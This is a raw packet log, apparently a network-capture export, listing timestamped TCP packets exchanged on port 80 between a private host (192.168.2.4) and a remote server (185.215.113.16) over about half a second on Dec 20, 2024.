Dec 20, 2024 17:11:01.876913071 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.877038002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.877038002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.877511024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.877593994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.877607107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.877628088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.878030062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.878070116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.878310919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.878324032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.878384113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.878397942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.878561020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.878586054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.878602982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.879076004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.879128933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.879194975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.879209995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.879257917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.879581928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.879679918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.879693031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.879724026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.879884958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.879930973 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.880410910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.880428076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.880461931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.880539894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.880574942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.880614042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.881306887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.881381989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.881396055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.881448030 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.881726027 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.881774902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.882271051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.882334948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.882348061 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.882370949 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.882539988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.882575989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.882863998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.882968903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.882981062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.883002043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.883116961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.883152962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.883639097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.883754015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.883766890 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.883791924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.883918047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.883960962 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.884407043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.884497881 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.884511948 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.884540081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.884727955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.884773970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.885184050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.885288954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.885302067 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.885324001 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.885662079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.885706902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.886030912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.886122942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.886136055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.886154890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.886347055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.886385918 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.886853933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.886914968 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.886929035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.886957884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.887152910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.887202024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.887624979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.887737036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.887749910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.887768984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.887924910 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.887972116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.888376951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.930989981 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.939892054 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.939930916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.939944029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.939985037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.940169096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.940201044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.940401077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.940417051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.940452099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.940582991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.940599918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.940634966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.941107035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.941185951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.941198111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.941220999 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.941414118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.941464901 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.941879034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.942117929 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.942132950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.942183018 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.942234993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.942246914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.942262888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.942279100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.942300081 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.942971945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.943038940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.943052053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:01.943077087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:01.993498087 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.007648945 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.007719994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.007735014 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.007776976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.007913113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.007963896 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.008068085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.008080006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.008115053 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.008279085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.008548975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.008598089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.008676052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.008691072 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.008702993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.008755922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.009318113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.009366989 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.009394884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.009857893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.009870052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.009907007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.009994984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.010005951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.010019064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.010035038 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.010059118 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.010662079 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.010775089 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.010786057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.010812044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.010974884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.011014938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.011507988 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.011521101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.011560917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.011641979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.011652946 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.011682987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.012227058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.012340069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.012383938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.069000006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.069034100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.069047928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.069120884 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.069183111 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.069195986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.069209099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.069226980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.069258928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.069722891 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.069827080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.069839001 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.069864035 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.070022106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.070070982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.070532084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.070700884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.070713043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.070749044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.070873022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.070915937 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.071353912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.071465015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.071479082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.071506023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.071687937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.071727991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.072154999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.072166920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.072208881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.072298050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.072313070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.072362900 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.072921038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.073024035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.073035955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.073064089 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.073255062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.073298931 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.073745012 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.073839903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.073851109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.073875904 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.074064970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.074110031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.074573040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.074671030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.074685097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.074707031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.074866056 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.074913025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.075366020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.075378895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.075417042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.075499058 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.075510979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.075545073 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.076112986 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.076219082 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.076231003 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.076261044 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.076420069 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.076464891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.076942921 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.077053070 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.077064991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.077095985 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.077250004 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.077291012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.077728033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.077850103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.077862024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.077889919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.078049898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.078090906 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.078562975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.078639030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.078650951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.078676939 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.078840971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.078881979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.079387903 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.079452991 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.079466105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.079493046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.079751015 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.079799891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.080157995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.080260038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.080272913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.080295086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.132015944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.132031918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.132045984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.132106066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.132128954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.132191896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.132205963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.132216930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.132257938 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.132796049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.132853031 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.132913113 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.132925987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.132965088 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.133117914 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.133658886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.133706093 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.133750916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.133764029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.133811951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.133938074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.134438038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.134449959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.134494066 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.134524107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.134543896 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.134556055 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.134563923 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.134601116 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.135355949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.135443926 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.135456085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.135492086 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.199892998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.199923038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.199937105 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.200031996 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.200110912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.200165987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.200404882 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.200464964 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.200476885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.200517893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.200660944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.200699091 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.200817108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.200830936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.200870037 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.201009035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.201488018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.201545954 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.201594114 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.201606035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.201639891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.201986074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.202058077 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.202076912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.202094078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.202471018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.202513933 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.202594042 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.202606916 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.202640057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.202765942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.203322887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.203334093 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.203372002 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.203448057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.203460932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.203485966 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.204071999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.204116106 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.204200983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.204212904 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.204251051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.266421080 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.266464949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.266478062 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.266509056 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.266649008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.266695976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.266808987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.266823053 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.266859055 CET	49744	80	192.168.2.4	185.215.113.16
Dec 20, 2024 17:11:02.267083883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 20, 2024 17:11:02.267096996 CET	80	49744	185.215.113.16	192.168.2.4
